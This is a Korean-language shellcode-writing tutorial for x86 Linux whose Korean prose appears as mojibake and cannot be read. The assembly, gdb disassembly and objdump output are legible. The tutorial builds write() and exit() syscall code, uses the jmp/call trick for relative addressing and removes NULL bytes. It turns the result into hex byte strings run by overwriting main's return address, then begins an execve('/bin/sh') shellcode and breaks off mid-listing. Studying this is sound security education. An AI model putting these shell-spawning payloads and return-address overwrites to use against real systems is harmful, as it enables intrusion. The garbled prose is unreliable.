¼³¸íÇß´ø °Íó·³ ÇÔ¼ö¸¦ callÇϱâ Àü¿¡ ÀμöµéÀ» ¸Ç µÞ°Å ºÎÅÍ stack¿¡ ³Ö´Â °ÍÀ» ¾Ë¼ö ÀÖ´Ù. disassemble __libc_write¸¦ º¸¸é ¼ø¼­°¡ ´Ù¸£´õ¶óµµ eax, ebx, ecx, edx¿¡ data°¡ µé¾î°£µÚ int $0x80À¸·Î system callÀ» Çϴ°ÍÀ» ¾Ë¼ö ÀÖ´Ù. ±×·³ eax, ebx, ecx, edx¿¡ ¾î¶² °ªÀÌ Ã¤¿öÁö´ÂÁö º¸±â·Î ÇÏÀÚ.. 0x804c391 <__libc_write+1>: mov 0x10(%esp,1),%edx ÀÌ À§Ä¡¿¡¼­ stack¿¡ ½×¿©ÀÖ´Â data¸¦ º¸¸é. +----------+ | %ebx | <--- %esp °ª (³·Àº ÁÖ¼Ò) +----------+ | ret | %esp + 0x04 +----------+ | 0x1 | %esp + 0x08 ---> %ebx +----------+ |stringÁÖ¼Ò| %esp + 0x0c ---> %ecx +----------+ | 0x17(23) | %esp + 0x10 ---> %edx (³ôÀº ÁÖ¼Ò) +----------+ eax,ebx,ecx,edx¿¡´Â ¾Æ·¡¿Í °°Àº data°¡ µé¾î°£µÚ ÀÎÅÍ·´Æ®(int $0x80)°¡ µÇ´Â °ÍÀ» ¾Ë¼öÀÖ´Ù. +----------+----------+--------------------------------------+ | %eax | 0x04 | write()¸¦ ÀǹÌÇÏ´Â system call no. | +----------+----------+--------------------------------------+ | %ebx | 0x01 | STANDARD_OUTÀÇ ÀÇ¹Ì | +----------+----------+--------------------------------------+ | %ecx | str addr | stringÀÇ ÁÖ¼Ò | +----------+----------+--------------------------------------+ | %edx | 0x17 | stringÀÇ size | +----------+----------+--------------------------------------+ | int $0x80 | system call È£Ãâ | +---------------------+--------------------------------------+ ÀÌÁ¦ ÀÌ °á°ú¸¦ ÀÌ¿ëÇÏ¿© °£´ÜÇÏ°Ô À§ÀÇ ±ÛÀÚ¸¦ Ãâ·ÂÇÏ´Â ÇÁ·Î±×·¥À» ¾î¼Àºí¸®·Î ÀÛ¼ºÇØ º¸ÀÚ. [willy@Null@Root]$ cat test22.s .LC0: .string "I'm Willy in Null@Root\n" .globl main main: movl $0x04, %eax movl $0x01, %ebx movl $.LC0, %ecx movl $0x17, %edx int $0x80 ret [willy@Null@Root]$ gcc test22.s -o test22 [willy@Null@Root]$ ./test22 I'm Willy in Null@Root ¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù (core dumped) ÀÏ´Ü write()ÇÔ¼ö¸¦ system callÇÏ¿© ¹®ÀÚ¸¦ Ãâ·ÂÇϴµ¥´Â ¼º°øÇß´Ù.. ±×·±µ¥ ±×µÚ¿¡ ¼¼Å©¸àÅ×ÀÌ¼Ç ¿À·ù°¡ ¹ß»ýÇÏ´Â ¹®Á¦°¡ ÀÖÀ½¸¦ º¼¼ö ÀÖÀ¸¸ç, ÀÌ´Â ÇÁ·Î±×·¥ÀÇ Á¾·á½Ã¿¡ ÇÁ·Î±×·¥ÀÇ ÀÚ¿øÀ» ¸±¸®Áî ÇÏ´Â º°µµÀÇ ·çƾÀÌ ¼³Á¤µÇÁö ¾Ê¾Ò±â ¶§¹®ÀÌ´Ù. µû¶ó¼­ À̸¦ ÇØ°áÇϱâ À§ÇØ exit() ½Ã½ºÅÛÄÝÀ» È£ÁÙ ÇØ Áà¾ßÇÑ´Ù. ±× Àǹ̴ 1Â÷ÀûÀ¸·Î ÀÎÅÍ·´Æ®¸¦ ¼öÇàÇÏ¿© write()¸¦ callÇÏ°í ÇÁ·Î±×·¥ Á¾·áÀü ¶Ç Çѹø¿¡ ÀÎÅÍ·´Æ®·Î exit()À» ¼öÇà Á¤»óÀûÀÎ Á¾·á°¡ µÇµµ·ÏÇÏ´Â °ÍÀÌ´Ù. ÀÌ°ÍÀº ÇÑ ÇÁ·Î±×·¥¿¡¼­ ¸î°³ ÀÇ system callÀ» ÇÒ¼ö ÀÖÀ½À» ÀǹÌÇϱ⵵ ÇÑ´Ù. ±×·³ exit() system call½Ã ÇÊ¿äÇÑ ÀμöµéÀ» ¾Ë¾Æ º¸±â À§ÇÏ¿© ¾Æ·¡¿Í °°ÀÌ °£´ÜÇÑ C¾ð¾î ÇÁ·Î±×·¥À» ÀÛ¼ºÇÑµÚ gdb·Î ³»¿ë¸¦ »ìÆ캸ÀÚ. [willy@Null@Root]$ cat test3.c main() { exit(0); } [willy@Null@Root]$ gcc test3.c -o test3 -mpreferred-stack-boundary=2 -static [willy@Null@Root]$ gdb -q test3 (gdb) disassemble main Dump of assembler code for function main: 0x80481dc
: push %ebp 0x80481dd : mov %esp,%ebp 0x80481df : push $0x0 0x80481e1 : call 0x80483a4 0x80481e6 : nop 0x80481e7 : nop End of assembler dump. (gdb) disassemble _exit Dump of assembler code for function _exit: 0x804c330 <_exit>: mov %ebx,%edx 0x804c332 <_exit+2>: mov 0x4(%esp,1),%ebx 0x804c336 <_exit+6>: mov $0x1,%eax 0x804c33b <_exit+11>: int $0x80 0x804c33d <_exit+13>: mov %edx,%ebx 0x804c33f <_exit+15>: cmp $0xfffff001,%eax 0x804c344 <_exit+20>: jae 0x804ca70 <__syscall_error> End of assembler dump. (gdb) _exit·Î ºÎÅÍ %eax = 1, %ebx = 0 ¼³Á¤ÈÄ int $0x80À» Çϸé exit(0) °á°ú¸¦ ¾òÀ»¼ö ÀÖ´Ù. movl $0x01, %eax movl $0x00, %ebx int $0x80 À̺κÐÀ» Ãß°¡ Çϸé exit(0)ÀÌ system callµÇ´Â °ÍÀ» ¾Ë¼ö ÀÖ´Ù. ±×·³ ÀÌ°ÍÀ» test22.s¿¡ Ãß°¡ÇÏ¿© ½ÇÇàÇØ º¸ÀÚ. [willy@Null@Root]$ cat test23.s .LC0: .string "I'm Willy in Null@Root\n" .globl main main: movl $0x04, %eax movl $0x01, %ebx movl $.LC0, %ecx movl $0x17, %edx int $0x80 <--- write()¸¦ À§ÇÑ ÀÎÅÍ·´Æ® movl $0x01, %eax movl $0x00, %ebx int $0x80 <--- exit(0)À» À§ÇÑ ÀÎÅÍ·´Æ® ret [willy@Null@Root]$ cc test23.s -o test23 [willy@Null@Root]$ ./test23 I'm Willy in Null@Root ÀÌÁ¦ Á¾·á¹®Á¦¸¦ ÇØ°áÇÏ¿´´Ù. ¸¸¾à ÀÌ°ÍÀ» Shellcodeó·³ ±â°è¾îÄÚµå·Î ¹Ù²Ù¾î Buffer¿¡ ³Ö¿¡ ½ÇÇà ½Ãų·Á°í ÇÏ¸é ¾î¶² ¹®Á¦°¡ ÀÖÀ»±î? ¹Ù·Î stringÀÇ ÁÖ¼Ò°¡ ¹®Á¦ÀÌ´Ù. ¿©±â¼­´Â stringÀÌ Àý´ëÁÖ¼Ò ·Î ¼³Á¤ÇÏ¿´´Âµ¥ ÀÌ Àý´ëÁÖ¼Ò´Â ÀÓÀÇÀÇ Buffer¿¡ ³Ö¾îÁö¸é ¾Æ¹«·± °ü°è°¡ ¾ø¾î stringÀ» ãÀ»¼ö ¾ø´Ù. ±×·¯¹Ç·Î ±â°è¾îÄÚµå ³»¿¡¼­ ÁÖ¼Ò¸¦ ãÀ»¼ö ÀÖµµ·Ï »ó´ëÁÖ¼Ò·Î ¸¸µé¾î ÁÖ¾î¾ß ÇÑ´Ù. ±×·¯¸é »ó´ëÁÖ¼Ò°¡ µÇµµ·Ï ÇÏ·Á¸é? ¾Æ·¡ test24.s¿Í °°ÀÌ jmp ¿Í call¸¦ »ç¿ëÇÏ¿© Á¤ÀÇÇØ ÁÖ¸é µÈ´Ù. [willy@Null@Root]$ cat test24.s .globl main main: jmp strings start: popl %esi movl $0x04, %eax movl $0x01, %ebx movl %esi, %ecx movl $0x17, %edx int $0x80 movl $0x01, %eax movl $0x00, %ebx int $0x80 strings:call start .string "I'm Willy in Null@Root\n" À§ÀÇ test23.s¿Í ¾î¶»°Ô ¹Ù²î¾ú´ÂÁö º¸ÀÚ. À§ÂÊ¿¡ jmp strings¿Í start: popl %esi°¡ Ãß°¡µÇ¾ú°í Áß°£¿¡ º¸¸é $.LC0°¡ %esi·Î, ¾Æ·¡ÂÊ¿¡ strings: call start°¡ Ãß°¡ µÇ¾úÀ¸¸ç, ¹®ÀÚ¿­ÀÌ ¾Æ·¡·Î ³»·Á¿Ô´Ù. ÀÌ ÇÁ·Î±×·¥ÀÇ ¼öÇà ¼ø¼­¸¦ µû¶ó¼­ ³»¿ë¸¦ »ìÆ캸ÀÚ. step 1: óÀ½ jmp¸¦ ¸¸³ª¼­ strings:·Î À̵¿ step 2: strings:¿¡ callÀº ´ÙÀ½À§Ä¡ÀÎ ¹®ÀÚ¿­ ÁÖ¼Ò¸¦ stack¿¡ ÀúÀåÇÑµÚ start·Î À̵¿ step 3: start:¿¡ popl %esiÀº ¸¶Áö¸·¿¡ stack¿¡ ÀúÀåÇÑ ¹®ÀÚ¿­ ÁÖ¼Ò¸¦ %esi¿¡ ³Ö´Â´Ù. step 4: movl¸¦ ÅëÇؼ­ %eax,%ebx,%ecx,%edxÀ» ä¿î´Ù. À̶§ %ecx¿¡ %esi(¹®ÀÚ¿­ÁÖ¼Ò)°¡ µé¾î°£´Ù. step 5: int $0x80À¸·Î write() ÇÔ¼ö ½ÇÇàÀ» À§ÇÑ system callÀ» ÇÑ´Ù. step 6: movl·Î %eax, %ebx¸¦ ä¿î´Ù. step 7: int %0x80À¸·Î exit(0)ÇÔ¼ö¸¦ system callÇÑ´Ù. (Á¤»óÁ¾·á) [willy@Null@Root]$ gcc test24.s -o test24 [willy@Null@Root]$ ./test24 I'm Willy in Null@Root Á¤»óÀûÀ¸·Î ½ÇÇàµÈ´Â °ÍÀ» È®ÀÎÇÏ¿´´Ù. ÀÌÁ¦´Â objdump¸¦ ÀÌ¿ëÇÏ¿© ±â°è¾îÄڵ带 ¸¸µé¾î º¸ÀÚ. [willy@Null@Root]$ objdump -d test24 : : 0804841c
: 804841c: eb 20 jmp 804843e 0804841e : 804841e: 5e pop %esi 804841f: b8 04 00 00 00 mov $0x4,%eax 8048424: bb 01 00 00 00 mov $0x1,%ebx 8048429: 89 f1 mov %esi,%ecx 804842b: ba 17 00 00 00 mov $0x17,%edx 8048430: cd 80 int $0x80 8048432: b8 01 00 00 00 mov $0x1,%eax 8048437: bb 00 00 00 00 mov $0x0,%ebx 804843c: cd 80 int $0x80 0804843e : 804843e: e8 db ff ff ff call 804841e 8048443: 49 dec %ecx 8048444: 27 daa 8048445: 6d insl (%dx),%es:(%edi) 8048446: 20 57 69 and %dl,0x69(%edi) 8048449: 6c insb (%dx),%es:(%edi) 804844a: 6c insb (%dx),%es:(%edi) 804844b: 79 20 jns 804846d <__do_global_ctors_aux+0xd> 804844d: 69 6e 20 4e 75 6c 6c imul $0x6c6c754e,0x20(%esi),%ebp 8048454: 40 inc %eax 8048455: 52 push %edx 8048456: 6f outsl %ds:(%esi),(%dx) 8048457: 6f outsl %ds:(%esi),(%dx) 8048458: 74 0a je 8048464 <__do_global_ctors_aux+0x4> : : À§ÀÇ Äڵ带 jmp(0x0804841c)ºÎÅÍ call(0x080443e)±îÁö ¼ø¼­´ë·Î Á¤·Ä½ÃÄÑ º¸¸é 0xeb\x20... .... \xff\xff\xff°¡ µÇ¸ç ±×µÚ¿¡ \x49 ~ \x0a´Â ¹®ÀÚ¿­À̹ǷΠÁ÷Á¢ ¹®ÀÚ¸¦ Ãß°¡ÇÏ¿© ÀÛ¼ºÇÏ¸é ¾Æ·¡¿Í °°Àº ±â°è¾îÄڵ带 ¾òÀ»¼ö ÀÖ´Ù. ÀÌ code¸¦ Á¤¸®Çؼ­ main()ÀÇ retÁÖ¼Ò¿¡ ³Ö¾î ½ÇÇàÇØ º¸ÀÚ. [willy@Null@Root]$ cat test41.c char print_code[] = "\xeb\x20\x5e\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xf1\xba\x17\x00\x00\x00" "\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdb\xff\xff\xff" "I'm willy in Null@Root\n"; main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)print_code; } [willy@Null@Root]$ gcc test41.c -o test41 [willy@Null@Root]$ ./test41 I'm willy in Null@Root ¿©±â±îÁö´Â ¼º°øÇß´Ù.. ±×·³ ¸ðµç°ÍÀÌ ³¡³­°ÍÀϱî? print_code¸¦ Àß º¸¸é ¾Ë°ÚÁö¸¸ codeÁß°£¿¡ NULL(0x00)ÀÌ Æ÷ÇԵǾîÀÖ´Â °ÍÀ» º¼¼öÀÖ´Ù. ÀϹÝÀûÀÎ ÀÔ·ÂÀÎ °æ¿ì buf¿¡ codeÀԷ½à Áß°£¿¡ NULLÀÌ ÀÖ´Â °æ¿ì ¹®ÀÚ¿­ÀÇ ³¡À¸·Î ÀνÄÇÏ¿© ´õÀÌ»ó ¹ÞÁö ¾ÊÀ»°ÍÀÌ´Ù. Áï ÀüüÀÇ ±â°è¾îÄڵ带 ÀÔ·ÂÇÏ´Â °ÍÀÌ ºÒ°¡´ÉÇØ Áö¹Ç·Î ¾ø¾Ö¾ß ÇÑ´Ù. NULLÀ» »èÁ¦ÇÏ´Â ¹æ¹ýÀ¸·Î´Â °°Àº ±â´ÉÀ» ÇÏ´Â ´Ù¸¥ ¸í·É¾î·Î ´ëü »ç¿ëÇϰųª ó¸®ÇÏ´Â dataÅ©±â¸¦ º¯°æÇÏ´Â ¹æ¹ýÀÌ ÀÖÀ»¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î %eax¿¡ 0x00À» ³Ö¾î¾ß ÇÑ´Â °æ¿ì movl $0x00, %eax´ë½Å¿¡ xor %eax,%eax¿Í °°Àº ¹èŸÀû ³í¸®¸¦ ÀÌ¿ëÇÏ¿© NULLÀ» ÇÇÇÒ¼ö ÀÖÀ¸¸ç, ÀÛÀº ´ÜÀ§0x10À» ³Ö¾î¾ß °æ¿ì movl $0x10, %eaxÀ» ¾²¸é 4¹ÙÀÌÆ®¿¡ ¾²¿©Áö°Ô µÇ¹Ç·Î 0x00000010ÀÌ µÇ¾î 3°³ÀÇ NULLÀÌ ¸¸µé¾îÁö°Ô µÇ¹Ç·Î movb %0x10,%al ÀÌ·¸°Ô Å©±â¸¦ ÀÛ°ÔÇؼ­ °è»ê ÇÏ¿© ÇÇÇÒ¼ö ÀÖ´Ù. ÀÚ ±×·³ ¿©±â¼­ NullÀÌ ³ªÅ¸³ªÁö ¾ÊÅä·Ï ¾î¼Àºí¸® ¸í·É¾î¸¦ ¼öÁ¤ÇØ º¸ÀÚ. +--------------------+---------------------+---------------------------------------+ | ¼öÁ¤ Àü | ¼öÁ¤ ÈÄ | ¼³ ¸í | +--------------------+---------------------+---------------------------------------+ | movl $0x04, %eax | xor %eax, %eax | xor ÀÌ¿ë eax¸¦ 0x00000000À¸·Î ¸¸µçµÚ | | | movb $0x04, %al | ¸¶Áö¸· 1¹ÙÀÌÆ®¿¡ 0x04¸¦ ³ÖÀ½. | +--------------------+---------------------+---------------------------------------+ | movl $0x01, %ebx | xor %ebx, %ebx | xor ÀÌ¿ë eax¸¦ 0x00000000À¸·Î ¸¸µçµÚ | | | movb $0x01, %bl | ¸¶Áö¸· 1¹ÙÀÌÆ®¿¡ 0x01¸¦ ³ÖÀ½. | +--------------------+---------------------+---------------------------------------+ | movl $0x17, %edx | xor %edx, %edx | xor ÀÌ¿ë eax¸¦ 0x00000000À¸·Î ¸¸µçµÚ | | | movb $0x17, %dl | ¸¶Áö¸· 1¹ÙÀÌÆ®¿¡ 0x17¸¦ ³ÖÀ½. | +--------------------+---------------------+---------------------------------------+ | movl $0x01, %eax | xor %eax, %eax | xor ÀÌ¿ë eax¸¦ 0x00000000À¸·Î ¸¸µçµÚ | | | movb $0x01, %al | ¸¶Áö¸· 1¹ÙÀÌÆ®¿¡ 0x01¸¦ ³ÖÀ½. | +--------------------+---------------------+---------------------------------------+ | movl $0x00, %ebx | xor %ebx, %ebx | xor %ebx %ebx´Â µÎ °ªÀÌ °°Àº°æ¿ì 0À̵Ê| +--------------------+---------------------+---------------------------------------+ ÀÌ·¸°Ô ¼öÁ¤ÇÑ ³»¿ëÀ» test24.s¿¡ ¹Ý¿µÇÏ¿© ¾Æ·¡¿Í test25.s¿Í °°ÀÌ ¸¸µé¼ö ÀÖ´Ù. [willy@Null@Root]$ cat test25.s .globl main main: jmp strings start: popl %esi xor %eax, %eax xor %ebx, %ebx xor %edx, %edx movb $0x04, %al movb $0x01, %bl movl %esi, %ecx movb $0x17, %dl int $0x80 movb $0x01, %al xor %ebx, %ebx int $0x80 strings:call start .string "I'm Willy in Null@Root\n" [willy@Null@Root]$ gcc test25.s -o test25 [willy@Null@Root]$ ./test25 I'm Willy in Null@Root ÄÄÆÛÀÏÇÏ¿© ½ÇÇà°á°ú ¾Æ¹«·± ¹®Á¦°¡ ¾ø´Â °ÍÀ» È®ÀÎÇÏ¿´À¸¸ç ±â°è¾îÄڵ带 ¾ò±âÀ§ÇØ objdump¸¦ ½ÇÇàÇØ º¸¸é. [willy@Null@Root]$ objdump -d test25 : : 0804841c
: 804841c: eb 17 jmp 8048435 0804841e : 804841e: 5e pop %esi 804841f: 31 c0 xor %eax,%eax 8048421: 31 db xor %ebx,%ebx 8048423: 31 d2 xor %edx,%edx 8048425: b0 04 mov $0x4,%al 8048427: b3 01 mov $0x1,%bl 8048429: 89 f1 mov %esi,%ecx 804842b: b2 17 mov $0x17,%dl 804842d: cd 80 int $0x80 804842f: b0 01 mov $0x1,%al 8048431: 31 db xor %ebx,%ebx 8048433: cd 80 int $0x80 08048435 : 8048435: e8 e4 ff ff ff call 804841e 804843a: 49 dec %ecx 804843b: 27 daa 804843c: 6d insl (%dx),%es:(%edi) 804843d: 20 57 69 and %dl,0x69(%edi) 8048440: 6c insb (%dx),%es:(%edi) 8048441: 6c insb (%dx),%es:(%edi) 8048442: 79 20 jns 8048464 <__do_global_ctors_aux+0x4> 8048444: 69 6e 20 4e 75 6c 6c imul $0x6c6c754e,0x20(%esi),%ebp 804844b: 40 inc %eax 804844c: 52 push %edx 804844d: 6f outsl %ds:(%esi),(%dx) 804844e: 6f outsl %ds:(%esi),(%dx) 804844f: 74 0a je 804845b : : À§¿¡ ³ªÅ¸³­ °á°ú¿Í °°ÀÌ ±â°è¾îÄÚµåÁß¿¡ NULL Äڵ尡 ¾ø´Â °ÍÀ» È®ÀÎÇÒ¼ö ÀÖ´Ù. ¾Æ·¡ test42.c ´Â À§¿¡¼­ ¾òÀº ±â°è¾îÄڵ带 main()ÀÇ ret¿¡ ³Ö°í ½ÇÇàÇÏ´Â ÇÁ·Î±×·¥ÀÌ´Ù. [willy@Null@Root]$ cat test42.c char print_code[] = "\xeb\x17\x5e\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb3\x01\x89\xf1" "\xb2\x17\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe4\xff\xff\xff" "I'm willy in Null@Root\n"; main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)print_code; } [willy@Null@Root]$ gcc test42.c -o test42 [willy@Null@Root]$ ./test42 I'm willy in Null@Root ¹®Á¦¾øÀÌ Àß ½ÇÇàµÇ´Â °ÍÀ» º¼¼ö ÀÖ´Ù. Áö±Ý±îÁö Shellcode¸¸µé±â À§ÇÑ ±âº» Áö½ÄÀº ´Ù ¹è¿ü´Ù. ƯÈ÷ system call°³³ä°ú ¹®ÀÚ¿­ÀÇ »ó´ëÁÖ¼Ò¸¦ ±¸ÇÏ´Â ¹æ¹ýÀ» ÀÌÇØÇÏ¿´´Ù¸é Shellcode »Ó¸¸ ¾Æ´Ï¶ó system callÀ» ÀÌ¿ëÇÑ ½Ã½ºÅÛ¿¡ ±âº» ·çƾ(ÇÔ¼ö)¸¦ ¼öÇàÇϴµ¥ ¾î·Á¿òÀÌ ¾øÀ» °ÍÀÌ´Ù. ÀÌÁ¦ º»°ÝÀûÀ¸·Î shellcode¸¦ ¸¸µå´Â ÀÛ¾÷À» Çغ¸ÀÚ. ÀϹÝÀûÀ¸·Î °¡Àå °£´ÜÇÏ°Ô shellÀ» ¶ç¿ì´Â ¹æ¹ý ¿¡´Â system()À̳ª execve()Á¾·ùÀÇ ÇÔ¼ö¸¦ ½á¼­ ÇÁ·Î±×·¥À» ¸¸µé¼ö ÀÖ´Ù. ±×Áß¿¡¼­ system callÀ» ÇÒ¼ö ÇÔ¼ö¸¦ /usr/include/asm/unistd.h¿¡¼­ ã¾Æº¸¸é execve()ÀÖ´Ù. ÀÌ ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© °£´ÜÇÑ C¾ð¾î ÇÁ·Î±×·¥À» ¸¸µé¾î º¸ÀÚ. [willy@Null@Root]$ cat test51.c main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0],name,NULL); } ÀÌ·¸°Ô ¸¸µé¼ö ÀÖÀ¸¸ç ÀÌ°ÍÀ» -stack ¿É¼ÇÀ» Ãß°¡Çؼ­ ÄÄÆÛÀÏ ÇÑµÚ gdb·Î disassembleÇؼ­ ³»¿ë¸¦ »ìÆ캸¸é À§¿¡¼­ ¼³¸íÇß´ø write() ÇÔ¼öº¸´Ù ´Ù¼Ò º¹ÀâÇÑ ±¸Á¶ÀÓÀ» ¾Ë¼ö ÀÖ´Ù. [willy@Null@Root]$ gcc test51.c -o test51 -mpreferred-stack-boundary=2 -static [willy@Null@Root]$ gdb -q test51 (gdb) disassemble main Dump of assembler code for function main: 0x80481dc
: push %ebp 0x80481dd : mov %esp,%ebp 0x80481df : sub $0x8,%esp 0x80481e2 : movl $0x808b228,0xfffffff8(%ebp) 0x80481e9 : movl $0x0,0xfffffffc(%ebp) 0x80481f0 : push $0x0 0x80481f2 : lea 0xfffffff8(%ebp),%eax 0x80481f5 : push %eax 0x80481f6 : pushl 0xfffffff8(%ebp) 0x80481f9 : call 0x804c36c <__execve> 0x80481fe : add $0xc,%esp 0x8048201 : leave 0x8048202 : ret 0x8048203 : nop End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x804c36c <__execve>: push %ebp 0x804c36d <__execve+1>: mov $0x0,%eax 0x804c372 <__execve+6>: mov %esp,%ebp 0x804c374 <__execve+8>: test %eax,%eax 0x804c376 <__execve+10>: push %edi 0x804c377 <__execve+11>: push %ebx 0x804c378 <__execve+12>: mov 0x8(%ebp),%edi 0x804c37b <__execve+15>: je 0x804c382 <__execve+22> 0x804c37d <__execve+17>: call 0x0 0x804c382 <__execve+22>: mov 0xc(%ebp),%ecx 0x804c385 <__execve+25>: mov 0x10(%ebp),%edx 0x804c388 <__execve+28>: push %ebx 0x804c389 <__execve+29>: mov %edi,%ebx 0x804c38b <__execve+31>: mov $0xb,%eax 0x804c390 <__execve+36>: int $0x80 0x804c392 <__execve+38>: pop %ebx 0x804c393 <__execve+39>: mov %eax,%ebx 0x804c395 <__execve+41>: cmp $0xfffff000,%ebx 0x804c39b <__execve+47>: jbe 0x804c3ab <__execve+63> 0x804c39d <__execve+49>: neg %ebx 0x804c39f <__execve+51>: call 0x80483b4 <__errno_location> 0x804c3a4 <__execve+56>: mov %ebx,(%eax) 0x804c3a6 <__execve+58>: mov $0xffffffff,%ebx 0x804c3ab <__execve+63>: mov %ebx,%eax 0x804c3ad <__execve+65>: pop %ebx 0x804c3ae <__execve+66>: pop %edi 0x804c3af <__execve+67>: pop %ebp 0x804c3b0 <__execve+68>: ret End of assembler dump. ¿ì¸®ÀÇ ¸ñÀûÀº À§ÀÇ disassemle ³»¿ë¿¡¼­ %eax,%ebx,%ecx,%edx... ¿¡ ¾î¶² °ªµéÀÌ µé¾î°¡´ÂÁö¸¸ ¾Ë¾Æ³¾¼ö ÀÖÀ¸¸é µÈ´Ù. Çϳª¾¿ ¼ø¼­´ë·Î ÈÇÅͺ¸±â·Î ÇÏÀÚ.. ¸ÕÀú main()¿¡¼­ Àμö°¡ ¾î¶»°Ô stack ¿¡ µé¾î °¡´ÂÁö º¸ÀÚ. 0x80481dc
: push %ebp 0x80481dd : mov %esp,%ebp ÇÔ¼ö¿¡ ÷µé¾î ¿À¸é¼­ %ebp¸¦ Ãʱâ %esp°ªÀ¸·Î ¼³Á¤ÇÑ´Ù. 0x80481df : sub $0x8,%esp char *name[2]; ÁÖ¼Ò(4¹ÙÀÌÆ®) * 2 = 8¹ÙÀÌÆ®¸¦ º¯¼ö°ø°£À¸·Î È®º¸. 0x80481e2 : movl $0x808b228,0xfffffff8(%ebp) name[0] = "/bin/sh"; %ebp¸¦ ±âÁØÀ¸·Î -8¹ÙÀÌÆ® À§Ä¡¿¡ ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¸¦ ³ÖÀ½. 0x80481e9 : movl $0x0,0xfffffffc(%ebp) name[1] = NULL; %ebp±âÁØ -4¹ÙÀÌÆ® À§Ä¡¿¡ 0À» ³ÖÀ½. 0x80481f0 : push $0x0 0À» stack¿¡ ÀúÀåÇÔ. 0x80481f2 : lea 0xfffffff8(%ebp),%eax %ebp -8¿¡ ÁÖ¼Ò(¹®ÀÚ¿­ÁÖ¼Ò)¸¦ %eax¿¡ ³ÖÀ½. ÁÖ¼ÒÀÇ ÁÖ¼Ò. 0x80481f5 : push %eax ¹®ÀÚ¿­ ÁÖ¼ÒÀÇ ÁÖ¼Ò¸¦ stack¿¡ ÀúÀåÇÔ. 0x80481f6 : pushl 0xfffffff8(%ebp) ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¸¦ stack¿¡ ÀúÀåÇÔ. 0x80481f9 : call 0x804c36c <__execve> execve()ÇÔ¼ö¸¦ È£ÃâÇÔ. 0x804c36c <__execve>: push %ebp 0x804c36d <__execve+1>: mov $0x0,%eax 0x804c372 <__execve+6>: mov %esp,%ebp ÀÌ ½ËÁ¡¿¡¼­ stack¿¡ ½×¿©ÀÖ´Â data¸¦ º¸¸é +---------------+ | %ebp | <--- %ebp °ª (³·Àº ÁÖ¼Ò) +---------------+ | ret | %ebp + 0x04 +---------------+ | name[0] | %ebp + 0x08 ---> %ebx +---------------+ | name | %ebp + 0x0c ---> %ecx +---------------+ | 0x00 | %ebp + 0x10 ---> %edx (³ôÀº ÁÖ¼Ò) +---------------+ 0x804c374 <__execve+8>: test %eax,%eax 0x804c376 <__execve+10>: push %edi 0x804c377 <__execve+11>: push %ebx 0x804c378 <__execve+12>: mov 0x8(%ebp),%edi 0x804c37b <__execve+15>: je 0x804c382 <__execve+22> 0x804c37d <__execve+17>: call 0x0 0x804c382 <__execve+22>: mov 0xc(%ebp),%ecx 0x804c385 <__execve+25>: mov 0x10(%ebp),%edx 0x804c388 <__execve+28>: push %ebx 0x804c389 <__execve+29>: mov %edi,%ebx 0x804c38b <__execve+31>: mov $0xb,%eax 0x804c390 <__execve+36>: int $0x80 ÃÖÁ¾ÀûÀ¸·Î int $0x80ÀÌÀü¿¡ %eax,%ebx,%ecx,%edx¿¡ °ªµéÀÌ ¾Æ·¡¿Í °°ÀÌ Ã¤¿öÁø °ÍÀ» º¼¼ö ÀÖ´Ù. %eax ---> 0xb ( execve()¿¡ ´ëÇÑ system call No. ) %ebx ---> name[0] %ecx ---> name %edx ---> 0x00 ( execve()ÀÇ ¸¶Áö¸· Àμö ) ÀÌ Á¤º¸¸¦ °¡Áö°í ¾î¼Àºí¸®·Î shellcode ÇÁ·Î±Û·¥À» ¸¸µé¾î º¸ÀÚ. ÀÌ shellcode¸¦ ±¸ÇöÇϱâ À§Çؼ­´Â 2°¡Áö ´õ °í·ÁÇØ¾ß ÇÒ Á¡ÀÌ ÀÖ´Ù. Çϳª´Â ¹®ÀÚ¿­ÀÇ ³¡¿¡ NULLÀ» ³Ö¾î¼­ ¹®ÀÚÀÇ ³¡À» ¾Ë¸®´Â ÀÛ¾÷À» ÇØ¾ß Çϸç, ´Ù¸¥ Çϳª´Â nameÀ» ±¸ÇöÇØ Áà¾ß ÇÑ´Ù´Â °ÍÀÌ´Ù. Áï name = [¹®ÀÚ¿­ÁÖ¼Ò]+[NULL] ÀÌ´Ù. ±×·¡¼­ ¹®ÀÚ¿­ÀÇ À§Ä¡´Â jmp & callÀ» ÀÌ¿ëÇÏ¿© »ó´ëÁÖ¼Ò¸¦ ¾Ë¼ö ÀÖÀ¸¹Ç·Î ¹®ÀÚ¿­ µÚ¿¡ name¸¦ ±¸Çö ÇϸéµÈ´Ù. ¾Æ·¡ ¾î¼Àºí¸® ÇÁ·Î±×·¥À» º¸ÀÚ. [willy@Null@Root]$ cat test51.s .globl main main: jmp strings start: popl %esi <--- ¹®ÀÚ¿­ À§Ä¡ (¹®ÀÚ¿­Àº /bin/sh 7ÀÚ) movb $0x00,0x7(%esi) <--- ¹®ÀÚ¿­ ³¡¿¡ NULLÀ§Ä¡ (¹®ÀÚ¿­ÀÌ ³¡³²À» ¾Ë¸²) movl %esi, 0x8(%esi) <--- name[0]À» ±¸ÇöÇϱâ À§ÇØ ¹®ÀÚ¿­ µÚ¿¡ ³ÖÀ½. movl $0x00,0xc(%esi) <--- name[1]À» ±¸ÇöÇϱâ À§Çؼ­ name[0]µÚ¿¡ NULLÀ» ³ÖÀ½. movl $0x0b,%eax <--- %eax¿¡ 0xb(11)À» ³Ö¾î execve() system callÇÔ. movl %esi, %ebx <--- %ebx¿¡ ¹®ÀÚ¿­À» ³ÖÀ½. leal 0x8(%esi), %ecx <--- %ecx¿¡ name = name[0]+name[1]À» ³ÖÀ½. movl 0xc(%esi), %edx <--- %edx¿¡ NULL(0x00)À» ³Ö´Â´Ù. int $0x80 <--- interrupt 0x80À» Çؼ­ system callÀ» ÇÔ. 